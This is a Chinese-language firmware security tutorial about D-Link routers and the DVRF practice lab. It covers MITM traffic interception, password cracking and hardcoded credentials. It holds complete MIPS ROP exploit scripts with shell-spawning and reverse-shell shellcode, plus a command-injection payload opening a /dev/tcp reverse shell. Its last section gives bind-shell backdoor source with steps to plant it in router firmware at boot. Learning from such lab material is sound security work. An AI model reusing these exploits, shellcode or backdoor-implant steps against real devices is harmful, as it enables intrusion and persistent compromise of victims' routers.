从0到1:固件分析
固件分析
0x01 固件提取
1、从厂商官网下载
例如D-link的固件:
https://support.dlink.com/resource/products/
2、代理或镜像设备更新时的流量
发起中间人攻击MITM
#启用IP转发功能
echo 1 > /proc/sys/net/ipv4/ip_forward
#配置iptables,将目的的端口80的流量重定向至SSLstrip监听的端口10000
iptables -t nat -p tcp -A PREROUTING --dport 80 -j REDIRECT --to-port 10000
#启动SSLstrip
ssltrip -a
#启动Ettercap GUI
ettercap -G
#监听网卡,用wireshark监听同样的网卡
#过滤并保存相关数据,即得到固件
3、直接从设备转储固件
通过UART、SPI或者JTAG接口直接转储固件
固件提取实战(附无损提取方案)
0x02 Dlink_DWR-932B 路由器固件分析
得到固件后,若直接打开,会发现该固件被加了密,无法直接解压缩,这是厂商对该固件做了保护,防止大家逆向分析他的固件。
通过frackzip工具可以破解该zip的密码
fcrackzip -u -v -b DWR-932.zip
密码是beUT9Z。
解压后发现文件夹中有多个.yaffs2后缀的文件,这些都是固件的文件。
yaffs2里有几个看上去是recovery的镜像,核心的应该是2K-mdm-image-mdm9625.yaffs2 ,我们下面就来提取该文件,我首先用binwalk来提取它,但提取出来的文件乱七八糟,不知道什么原因,后来看网上推荐直接用yaffs的原生工具unyaffs提取,就可以了,文件系统清晰明了。
unyaffs 2K-mdm-image-mdm9625.yaffs2 yaffs2-root/
接下来我们查找该路径下的所有.conf文件,.conf文件多是配置文件,有可能从中可以发现敏感的信息。
find . -name '*.conf'
其中的inadyn-mt.conf文件引起了我们注意,这是no-ip应用的配置文件,no-ip就是一个相当于花生壳的东西,可以申请动态域名。我们从中可以发现泄露的no-ip的登陆账号及密码。
cat etc/inadyn-mt.conf
除了上述泄露的no-ip账号密码,我们还从shadow文件中找到了root账号的密码,通过爆破可以得到root的密码为1234。
cat ~/yaffs2-root/etc/shadow
cat /etc/shadow | grep root | cut -d: -f2 > root.hash
john --wordlist=/usr/share/wordlists/rockyou.txt root.hash
其实并不止有.conf文件会泄露信息,还有很多其他后缀的敏感文件会泄露信息,我们接下来使用firmwalker工具来自动化遍历该固件系统中的所有可疑文件。
git clone https://github.com/craigz28/firmwalker.git
命令如下,firmwalker会将结果保存到firmwalker.txt。
./firmwalker.sh ~/yaffs2-root/
看了下该工具的源码,没啥亮点,就是遍历各种后缀的文件。
后缀都在data文件夹中的各个配置文件中。
分析完敏感的配置文件后,我们接下来分析存在风险的二进制程序。查看自启动的程序,一个start_appmgr脚本引起了我们注意,mgr一般就是主控程序的意思。
该脚本会在开机的时候以服务的形式运行/bin.appmgr程序。
appmgr 分析
用 IDA 打开 /bin/appmgr
程序看看
main 函数下 F5,可以发现有一个线程会持续监听 0.0.0.0:39889(UDP),并等待传入控制命令,如果某个用户向目标路由器发送了一个 HELODBG
字符串,那么路由器将会执行 /sbin/telnetd -l /bin/sh
,并允许这名用户在未经身份验证的情况下以 root 用户的身份登录路由器。
默认 admin 账号
搜索 mod_sysadm_config_passwd 函数
路由器的管理员账号。设备的管理员账号默认为“admin”,而密码同样也是“admin”。
默认 WPS PIN 码
搜索 wifi_get_default_wps_pin 函数
默认配置下,该路由器 WPS 系统的 PIN 码永远都是 28296607
因为这个 PIN 码是硬编码在 /bin/appmgr
程序中
fotad 分析
路由器与 FOTA 服务器进行通信时的凭证数据硬编码在 /sbin/fotad
代码中,我们用 IDA 进行分析
搜索 sub_CAAC 函数,可以发现被 base64 过的凭证
用户/密码如下
cWRwYzpxZHBj qdpc:qdpc
cWRwZTpxZHBl qdpe:qdpe
cWRwOnFkcA== qdp:qdp
UPnP 安全问题
UPnP 允许用户动态添加防火墙规则。因为这种做法会带来一定的安全风险,因此设备通常都会对这种操作进行限制,以避免不受信任的客户端添加不安全的防火墙规则。
UPnP 的不安全性早在2006年就已经是众所周知的事情了。而该路由器中 UPnP 程序的安全等级仍然非常的低,处于局域网内的攻击者可以随意修改路由器的端口转发规则。
文件 /var/miniupnpd.conf
是由 /bin/appmgr
程序生成的:
搜索 sub_2AE0C 函数
该程序会生成 /var/miniupnpd.conf
:
ext_ifname=rmnet0
listening_ip=bridge0
port=2869
enable_natpmp=yes
enable_upnp=yes
bitrate_up=14000000
bitrate_down=14000000
secure_mode=no # "secure" mode : when enabled, UPnP client are allowed to add mappings only to their IP.
presentation_url=http://192.168.1.1
system_uptime=yes
notify_interval=30
upnp_forward_chain=MINIUPNPD
upnp_nat_chain=MINIUPNPD
0x03 D-Link DIR-882固件解密
我们可以通过分析固件的之前的一些版本,找到研究固件当前版本的一些线索。
下面这张图
image-20210310145532897
是很多路由器厂家会采取的一种更新升级固件并使固件更加“安全“的方案。 这个方案是这样的:最开始发布的固件是没有加密的,也没有附带任何解密的文 件,随着固件更新,解密文件会和较新版本 v1.1 中的未加密版本一起发布,以 便将来进行固件加密,v1.1 版本作为过渡使用。而到了 v1.2 时,固件则是以加密形式发布的,不过仍附带解密文件。
[固件下载地址](https://github.com/OL4THREE/Practice-Note/tree/main/D-Link DIR-882固件解密实验)
我们以 D-Link DIR-882 固件为例。我们在分析固件时会发现它被 加密过了,使用 binwalk 根本无法探测,比如这次的固件 v1.20b06
这时候我们可以考虑通过分析旧版本的固件尝试是否有什么线索来解密现在这 个新版本的固件 在 这 里 我 们 可 以 找 到 所 有 旧 版 本 的 固 件 ( ftp://ftp2.dlink.com/PRODUCTS/DIR-882/REVA/ ) , 我 们 找 个 最 早 的 版 本 v1.00b07,下载来后解压尝试binwalk读取
可以看到能识别出信息,或者说是没有加密过的。 那再看看稍微新一点的版本
v1.10b02
可以看到有两个 bin 文件,说明 1.04b02 的过渡版本,它包含在 v1.10b02 固件包 汇中,名字也已经告诉我们了,1.04b02 是未加密的 分别使用 binwalk
而加密后的固件却什么也看不到
我们把 1.04b02 提取出来
进入生成的文件夹
注意到有两个文件,使用 binwalk 提取 A0 进入新文件夹 再次提取8AB758最近进入文件夹
注意到这里有一个 Imgdecrypt 的文件,看名字,应该是用来解密镜像的 file 查看
发现是个可执行文件,尝试执行,缺少相应的 so 文件,这很正常,因为这个文 件是写在 mips 架构上运行的,而我们目前是 x86 为了运行它,我们使用 qemy-mipsel-static
首先将其复制到固件根文件系统的/usr/bin 目录下 在将前面发现是加密的固件 1.20b06 复制过来
sudo chroot . ./qemu-mipsel-static ./bin/sh
接着还是同样的办法模拟 mips 架构拿到 shell 此时再执行 imgdecrypt 可以看到 打印出了使用方法 按照其提示,可以看到对原来加密的固件进行了解密 操作如上图所示 这时候再次使用 binwalk 查看被解密后的固件,可以看到已经可以识别了
这给我们的启示就是,在碰到加密的固件时,可以考率查找位于同一产品线、具 有相同处理器体系结构的路由器固件,找那些版本旧一些的,或者过渡版本,或 许就能为我们提供线索。 我们使用 binwalk 如之前未加密的固件一般一步步提取
敏感信息分析
可以看到文件系统都被提取出来了 这里介绍一个常用的小工具 firmwalk.sh 它将搜索固件文件系统,以获取与敏感信息相关的东西,如:
etc/shadow and etc/passwd
列出 etc/ssl 目录
搜索相关的文件,如. pem,. crt, 等。
搜索配置文件
查找脚本文件
搜索其他. bin 文件
查找诸如管理员。密码。远程等关键字。
搜索在 IoT 设备上使用的通用网络服务器
搜索常见的二进制文件,如 ssh。tftp。dropbear 等。
搜索网址,电子邮件地址和 IP 地址
我们可以使用它来看看这个文件系统中有哪些敏感信息 命令为./firmwalker.sh 文件系统的路径
0x04 基于固件仿真的动态分析
0x05 MIPS架构下的漏洞利用(DVRF靶场)
$ file ./bin/busybox
./bin/busybox: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
stack_bof_01
获取参数后,未校验长度赋值给局部变量造成栈溢出,有后门函数 0x00400950 :
Main 函数由 libc_main_start 调用,即 main 函数为非叶子函数,返回地址存放在栈上,从汇编可见:
直接跳转 0x00400950 会因为 t9 的值被修改而错误。mips默认 t9 为当前函数开始地址。函数内部通过 t9 寄存器和 gp 寄存器来找数据,地址等。
其他师傅文章中是通过找 libc 中的 lw t 9 , a r g 0 ( t9, arg_0( t9,arg0(sp);jalr $t9 调整 t9 寄存器。但是我固件镜像中的 libc 没有这个 gadget ,按照偏移地址跳转过去是 jalr $t9 。换个思路直接跳过 dat_shell 开头调整 gp 部分:
修复 t9 寄存器思路参考师傅文章:
https://www.cnblogs.com/hac425/p/9416758.html
调试方法
需要打开几个 terminal 启动不同的命令:
-
启动 qemu 模拟-strace 查看 qemu 调试信息,方便观察执行了什么命令qemu-mipsel-static -L . -g 1234 -strace ./pwnable/Intro/uaf_01 aaaa
-
gdb-multiarchgdb-multiarch ./pwnable/Intro/stack_bof_01
set architecture mips
set endian little
target remote :1234
连上之后会停在 start ,在 main 函数开头打断点,运行到这个断点,然后就慢慢单步调试。
EXP
字符串是从参数读入,跳转地址转换后是不可见字符 ,需要借助 cat 传入参数
# file_name: stack_bof_01.py
from pwn import *
context.binary = "./pwnable/Intro/stack_bof_01"
context.arch = "mips"
context.endian = "little"
backdoor = 0x0040095c
payload = 'a'*0xc8+'b'*0x4
payload += p32(backdoor)
with open("stack_bof_01_payload","w") as file:
file.write(payload)
命令行执行:
sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "`cat stack_bof_01_payload`"
stack_bof_02
和前面一题差不多,调试方法也一样,就是少了后门函数,造成溢出函数变成了 strcpy :
main 非叶子函数覆盖函数返回地址跳转存放在栈上的 shellocde 。qemu 模拟地址没有随机化,相当于 aslr 关闭了,直接调试查出 v4 的内存地址
Shellcode 查询:
http://shell-storm.org/shellcode/files/shellcode-792.php
直接写入 shellcode 可以完整执行完,但是执行 syscall 0x40404 之后没有弹 shell 而是进行运行到下一条指令。问了师傅说也有遇到过这种情况,通过加无意义的指令(nop)调整 shellcode 位置有机会能成,用了 XOR $t1, $t1, $t1 避免 strcpy \x00 截断(只有不包含截断符指令都行),尝试后无果。
查阅资料后发现,由于 mips 是流水指令集,存在 cache incoherency 的特性,需要调用 sleep 或者其他函数将数据区刷新到当前指令区中去,才能正常执行 shellcode 。
https://ctf-wiki.org/pwn/linux/mips/mips_rop/#2-dvrf-stack_bof_02c
构造 ROP 的 gadget 得去 libc 找,程序自身没多少个。我在 ubuntu18 gdb 连上报错,换到 ubuntu16 vmmap 查不出来 libc 信息(如图),最后换 attify 解决问题。
libc路径:/squashfs-root/lib/libc.so.0
先调用 sleep(1) 就需要找 gadget 控制参数以及跳转。mipsrop.find(“li $a0,1”) 控制第一个参数,任选一个后面 rop 没有 gadget 继续构造就换一个 -。- ,我选着第二个构造 gadget1 = 0x2FB10 :
.text:0002FB10 li $a0, 1
.text:0002FB14 move $t9, $s1
.text:0002FB18 jalr $t9 ; sub_2F818
接着需要找一个控制 s1 的 gadget ,用于控制执行完 gadget1 之后跳转到哪里。mipsrop.find(“li $s1”) 结果有很多,最后选了 gadget2 = 0x00007730 :
.text:00007730 lw $ra, 0x18+var_s10($sp)
.text:00007734 lw $s3, 0x18+var_sC($sp)
.text:00007738 lw $s2, 0x18+var_s8($sp)
.text:0000773C lw $s1, 0x18+var_s4($sp)
.text:00007740 lw $s0, 0x18+var_s0($sp)
.text:00007744 jr $ra
至此 a0 被控制为 1 ,目前 payload 结构为:
payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += "????"#s1
payload += "bbbb"#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
不能直接将 sleep(0x767142b0) 填到 s1 处,因为直接填地址跳转 sleep 缺少了跳转前将返回地址放到 ra 寄存器(或压栈)的过程,当 sleep 运行到结尾的 jalr $ra 时,又会跳转会到 gadget1 ,所以要换个方式。
mipsrop.tails() 找通过 s0\s2\s3 寄存器跳转的 gadget ,选择了 gadget3 = 0x00020F1C :
.text:00020F1C move $t9, $s2
.text:00020F20 lw $ra, 0x18+var_sC($sp)
.text:00020F24 lw $s2, 0x18+var_s8($sp)
.text:00020F28 lw $s1, 0x18+var_s4($sp)
.text:00020F2C lw $s0, 0x18+var_s0($sp)
.text:00020F30 jr $t9
解决 sleep 运行结束返回地址问题,并 lw r a , 0 x 18 + v a r s C ( ra, 0x18+var_sC( ra,0x18+varsC(sp) 控制下一层跳转,payload 结构:
payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += "cccc"#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += "????"#ra
mipsrop.stackfinders() 找一个 gadget 提取栈地址放到寄存器中,找的时候还要注意控制下一次跳转选择 gadget4 = 0x16dd0 这个,通过 gadget3 提前将下次跳转地址写入 s0 :
.text:00016DD0 addiu $a0, $sp, 0x38+var_20
.text:00016DD4 move $t9, $s0
.text:00016DD8 jalr $t9
payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += "????"#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(gadget4)#ra
最后找一个用 a0 跳转的 gadget ,一开始用 mipsrop.tails() 没找到,最后用 mipsrop.find(“move t 9 , t9, t9,a0)”) 找着了 gadget5 = 0x214a0 ,对 mipsrop 理解不够……
.text:000214A0 move $t9, $a0
.text:000214A4 sw $v0, 0x30+var_18($sp)
.text:000214A8 jalr $t9
最后跳转 shellcode 时,0x000214A4 的这句汇编 sw v 0 , 0 x 30 + v a r 1 8 ( v0, 0x30+var_18( v0,0x30+var18(sp) 会将 shellcode 第一个指令替换为 nop ,用无意义指令填充,将 shellcode 向后移。
payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += p32(gadget5)#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(gadget4)#ra
#######
payload += "a"*0x18
payload += p32(0xdeadbeef)
payload += shellcode
EXP
from pwn import *
context.binary = "./pwnable/ShellCode_Required/stack_bof_02"
context.arch = "mips"
context.endian = "little"
# libc_base = 0x766e5000
sleep = 0x767142b0#0x2F2B0+0x766e5000
gadget1 = 0x76714b10
'''
0x76714b10: li a0,1
0x76714b14: move t9,s1
0x76714b18: jalr t9
'''
gadget2 = 0x766ec730
'''
0x766ec730: lw ra,40(sp)
0x766ec734: lw s3,36(sp)
0x766ec738: lw s2,32(sp)
0x766ec73c: lw s1,28(sp)
0x766ec740: lw s0,24(sp)
0x766ec744: jr ra
'''
gadget3 = 0x76705f1c
'''
0x76705f1c: move t9,s2
0x76705f20: lw ra,36(sp)
0x76705f24: lw s2,32(sp)
0x76705f28: lw s1,28(sp)
0x76705f2c: lw s0,24(sp)
0x76705f30: jr t9
'''
gadget4 = 0x766fbdd0
'''
0x766fbdd0: addiu a0,sp,24
0x766fbdd4 <optarg>: move t9,s0
0x766fbdd8: jalr t9
'''
gadget5 = 0x767064a0
'''
0x767064a0: move t9,a0
0x767064a4: sw v0,24(sp)
0x767064a8: jalr t9
'''
shellcode = "\xff\xff\x06\x28" # slti $a2, $zero, -1
shellcode += "\x62\x69\x0f " # lui $t7, 0x6962
shellcode += "\x2f\x2f\xef\x35" # ori $t7, $t7, 0x2f2f
shellcode += "\xf4\xff\xaf\xaf" # sw $t7, -0xc($sp)
shellcode += "\x73\x68\x0e " # lui $t6, 0x6873
shellcode += "\x6e\x2f\xce\x35" # ori $t6, $t6, 0x2f6e
shellcode += "\xf8\xff\xae\xaf" # sw $t6, -8($sp)
shellcode += "\xfc\xff\xa0\xaf" # sw $zero, -4($sp)
shellcode += "\xf5\xff\xa4\x27" # addiu $a0, $sp, -0xc
shellcode += "\xff\xff\x05\x28" # slti $a1, $zero, -1
shellcode += "\xab\x0f\x02\x24" # addiu;$v0, $zero, 0xfab
shellcode += "\x0c\x01\x01\x01" # syscall 0x40404
payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += p32(gadget5)#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(gadget4)#ra
#######
payload += "a"*0x18
payload += p32(0xdeadbeef)
payload += shellcode
with open("stack_bof_02_payload","w") as file:
file.write(payload)
socket_bof
这题二进制文件用 ida 看伪代码有点瑕疵,本来溢出点变成了一个指针,导致一直找不到,最后无奈去看了下源码和结合汇编。
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
// Pwnable Socket Program
// By b1ack0wl
// Stack Overflow
int main(int argc, char **argv[])
{
if (argc <2){
printf("Usage: %s port_number - by b1ack0wl\n", argv[0]);
exit(1);
}
char str[500] = "\0";
char endstr[50] = "\0";
int listen_fd, comm_fd;
int retval = 0;
int option = 1;
struct sockaddr_in servaddr;
listen_fd = socket(AF_INET, SOCK_STREAM, 0);
bzero( &servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htons(INADDR_ANY);
servaddr.sin_port = htons(atoi(argv[1]));
printf("Binding to port %i\n", atoi(argv[1]));
retval = bind(listen_fd, (struct sockaddr *) &servaddr, sizeof(servaddr));
if (retval == -1){
printf("Error Binding to port %i\n", atoi(argv[1]));
exit(1);}
if(setsockopt(listen_fd, SOL_SOCKET,SO_REUSEADDR, (char*)&option, sizeof(option)) < 0){
printf("Setsockopt failed :(\n");
close(listen_fd);
exit(2);
}
listen(listen_fd, 2);
comm_fd = accept(listen_fd, (struct sockaddr*) NULL, NULL);
bzero(str, 500);
write(comm_fd, "Send Me Bytes:",14);
read(comm_fd,str,500);
sprintf(endstr, "nom nom nom, you sent me %s", str);
printf("Sent back - %s",str);
write(comm_fd, endstr, strlen(endstr)+1);
shutdown(comm_fd, SHUT_RDWR);
shutdown(listen_fd, SHUT_RDWR);
close(comm_fd);
close(listen_fd);
return 0x42;
}
栈溢出在这句 sprintf(endstr, “nom nom nom, you sent me %s”, str); str 是 socket 传入的数据,长度内容为我们所控制,溢出 padding 为 51
调试方法
在 ubuntu 16.04 下 gdb-multiarch target remote :1234 链接上后报错退出,切换到 attify 能继续使用最常规方式调试:qemu-user 模式加 -g 打开调试端口,gdb-multiarch target remote :1234 链接上去。
# terminal 1
sudo qemu-mipsel-static -L . -g 1234 -strace ./pwnable/ShellCode_Required/socket_bof 8884
# terminal 2 gdb-multiarch
set architecture mips
set endian little
target remote :1234
另外一个调试方法是 qemu system 启动 mips 系统,然后传入一个 gdb-server ,在里面运行程序然后 gdb-server attach 程序,再在外面用 gdb 链接上去。
attify 里面 gdb 插件是 gef ,用 vmmap 读不出 libc 地址
曲线救国在 0x00400D34 打下断点,单步跟进去查看 sprintf 的真实地址,然后再从 ./lib/libc.so.0 读取偏移算出基地址
全部题目用的 libc 都同一个,需要 shellcode 的题目,换下 shellcode 就能通用 exp 。前面 stack_bof_02 是在 ubuntu16 里面的脚本 libc_base 和 attify 不一样要换下基地址。
Stack_bof_02 的 execve(‘/bin/sh’) 能打通
找一个反弹 shell 的 shellcode 替换,或者将 shell 绑定到某个端口
反弹 shell :http://shell-storm.org/shellcode/files/shellcode-860.php
绑定 shell :http://shell-storm.org/shellcode/files/shellcode-81.php
绑定 shell 的 shellcode 预期是开在本地的 4919 端口,实际运行后发现并不是,要自己查端口 -。- ,然鹅 nc 连上去后程序会蹦掉。
反弹 shell 的 shellcode 预编是反弹到 192.168.1.177:31337 ,要么修改网卡 ip ,要么就改一下 shellcode 传入的 ip
将 ip 地址转换成 16 进制
hex(192)#0xc0
hex(168)#0xa8
hex(1) #0x01
hex(177)#0xb1
#192.168.1.177==>0xB101A8C0
编译一下,编译失败看看是不是 binutils 没装
from pwn import
context.arch = "mips"
context.endian = "little"
asm("li $a1, 0xB101A8C0")
然后搜索 \x01\xb1\x05 \xc0\xa8\xa5\x34 替换为自己编译的:
stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05 \x01\xff\xa5\x34\x01\x01\xa5\x20"
#stg3_SC += "\xf8\xff\xa5\xaf\x01\xb1\x05 \xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.1.177
stg3_SC += "\xf8\xff\xa5\xaf\xd3\x09\x05 \xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.211.9
stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08 \x2f\x2f\x08\x35\xec\xff\xa8\xaf"
stg3_SC += "\x73\x68\x08 \x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01"
EXP
#!/usr/bin/python
from pwn import *
context.arch = 'mips'
context.endian = 'little'
libc_addr = 0x4089b000#0x766e5000
sleep = 0x0002F2B0
gadget1 = 0x2fb10
'''
0x76714b10: li a0,1
0x76714b14: move t9,s1
0x76714b18: jalr t9
'''
gadget2 = 0x7730
'''
0x766ec730: lw ra,40(sp)
0x766ec734: lw s3,36(sp)
0x766ec738: lw s2,32(sp)
0x766ec73c: lw s1,28(sp)
0x766ec740: lw s0,24(sp)
0x766ec744: jr ra
'''
gadget3 = 0x20f1c
'''
0x76705f1c: move t9,s2
0x76705f20: lw ra,36(sp)
0x76705f24: lw s2,32(sp)
0x76705f28: lw s1,28(sp)
0x76705f2c: lw s0,24(sp)
0x76705f30: jr t9
'''
gadget4 = 0x16dd0
'''
0x766fbdd0: addiu a0,sp,24
0x766fbdd4 <optarg>: move t9,s0
0x766fbdd8: jalr t9
'''
gadget5 = 0x214a0
'''
0x767064a0: move t9,a0
0x767064a4: sw v0,24(sp)
0x767064a8: jalr t9
'''
stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05 \x01\xff\xa5\x34\x01\x01\xa5\x20"
#stg3_SC += "\xf8\xff\xa5\xaf\x01\xb1\x05 \xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.1.177
stg3_SC += "\xf8\xff\xa5\xaf\xd3\x09\x05 \xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.211.9
stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08 \x2f\x2f\x08\x35\xec\xff\xa8\xaf"
stg3_SC += "\x73\x68\x08 \x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01"
payload = 'a' * 51
payload += p32(libc_addr+gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(libc_addr+gadget3)#s1
payload += p32(libc_addr+sleep)#s2
payload += "bbbb"#s3
payload += p32(libc_addr+gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += p32(libc_addr+gadget5)#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(libc_addr+gadget4)#ra
#######
payload += "a"*0x18
payload += p32(0xdeadbeef)
payload += stg3_SC
p = remote('127.0.0.1',8882)
p.recvuntil('Send Me Bytes:')
p.sendline(payload)
p.interactive()
socket_cmd
远程命令注入,参考资料看下面:
CTF之命令执行绕过总结
反弹Shell,看这一篇就够了
EXP
依次打开终端运行
#terminal 0
qemu-mipsel-static -L . -strace ./pwnable/ShellCode_Required/socket_cmd 9999
#terminal 1
nc -lvvp 31337
#tarminal 2
nc 127.0.0.1 9999
hacked|`bash -c "bash -i >& /dev/tcp/192.168.211.9/31337 0>&1"`
是 iot 用户 nc 链接上去程序,程序是用 sudo 起来,所以切换到 root
0x06 使用firmware-mod-kit(FMK)在固件中添加后门
在漏洞利用过程中,经常需要用到的一种方法就是篡改固件。也就是从固件中提取文件系统,对其内容进行修改,然后再将其重新打包成新的固件,随后攻击者可以将这个新打包的固件刷进设备。
准备工作
固件篡改的过程会用到工具 FMK,该工具由 Jeremy Collake 和 Craig Heffner 开发。FMK 不仅可以利用 Binwalk 或其他工具从固件中提取出文件系统,还具有将篡改后的文件系统重新打包成新固件的功能。
FMK 可以从https://github.com/brianpow/firmware-mod-kit/下载,如果读者之前从 GitHub 中克隆了 FAT 代码,那么该工具应该已经存在于读者的系统中了。下载完该工具后,接下来我们就可以找一个固件一试身手了。出于简单起见,同时让本书的读者在无须投入资金购买硬件的情况下也能够复现以下步骤,我们主要以能够采用 FAT 进行仿真的固件为例进行介绍。
测试流程
篡改固件的步骤如下:
1)在本例中我们使用的固件来自 D-Link DIR-300 路由器。在这里我们使用 FMK 目录下的 extract-firmware.sh 脚本从固件中提取文件系统,而未使用 Binwalk。操作命令如图 1 所示。
./extract-firmware.sh Dlink_firmware.bin
提取出固件后,脚本会生成一个新目录,其中包括 rootfs、image_part 和 logs 等文件夹。由于攻击者的目的大多是添加后门和修改固件,因此这里我们只关心 rootfs 文件夹。
rootfs 文件夹中包含了固件中的整套文件系统。而我们所要做的工作就是在固件中添加后门,然后找到固件启动后自动调用后门的方法。
2)首先查看固件所基于的架构。对固件中任一文件执行 readelf 命令就可以查看其架构,以 BusyBox 文件为例,命令执行结果如图 2 所示。
3)正如我们从图 2 中看到的,固件是基于 MIPS 小端架构的。这意味着我们需要开发符合 MIPS 小端架构的后门并进行编译。下面是我们将要使用的后门源码,该后门由 Osanda Malith 开发编写:
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/types.h>#include <sys/socket.h>#include <netinet/in.h>
#define SERVER_PORT 9999 /* CC-BY: Osanda Malith Jayathissa (@OsandaMalith) * Bind Shell using Fork for my TP-Link mr3020 router running busybox * Arch : MIPS * mips-linux-gnu-gcc mybindshell.c -o mybindshell -static -EB -march=24kc */int main() { int serverfd, clientfd, server_pid, i = 0; char *banner = "[~] Welcome to @OsandaMalith's Bind Shell\n"; char *args[] = { "/bin/busybox", "sh", (char *) 0 }; Analyzing and Exploiting Firmware struct sockaddr_in server, client; socklen_t len;
server.sin_family = AF_INET; server.sin_port = htons(SERVER_PORT); server.sin_addr.s_addr = INADDR_ANY;
serverfd = socket(AF_INET, SOCK_STREAM, 0); bind(serverfd, (struct sockaddr *)&server, sizeof(server)); listen(serverfd, 1);
while (1) { len = sizeof(struct sockaddr); clientfd = accept(serverfd, (struct sockaddr *)&client, &len); server_pid = fork(); if (server_pid) { write(clientfd, banner, strlen(banner)); for(; i <3 /*u*/; i++) dup2(clientfd, i); execve("/bin/busybox", args, (char *) 0); close(clientfd); } close(clientfd); } return 0;}
代码写好后,我们就可以使用针对 MIPSEL 架构的 Buildroot,并使用该 Buildroot 构建的交叉编译器编译代码。这里不对安装配置 Buildroot 的过程进行过多介绍,因为这个过程非常简单,并且在 Buildroot 的说明文档中已经进行了详细说明。
4)为 MIPSEL 架构创建了交叉编译器后,我们接下来将 bindshell.c 编译为能够植入文件系统的二进制文件 bindshell:
./mipsel-buildroot-linux-uclibc-gcc bindshell.c -static -obindshell
下一步是在文件系统中寻找可以放置该二进制文件的地方,以及如何在启动过程中将其设置为自启动。这里我们的思路是分析在启动过程中自动调用的脚本,看看是否能够实现自启动。
5)在文件系统中,我们可以在 etc/templates/目录中放入后门的二进制文件,然后在 system.sh 脚本中调用该二进制文件,其中 system.sh 脚本位于/etc/scripts/目录下,脚本编写如图 3 所示。
6)接下来使用 build-firmware.sh 脚本将修改后的文件系统重新打包为新的固件,打包过程如图 4 所示。
执行完成后,会在目录 firmware-name/中生成新的固件,新固件名为 new-firmware.bin。
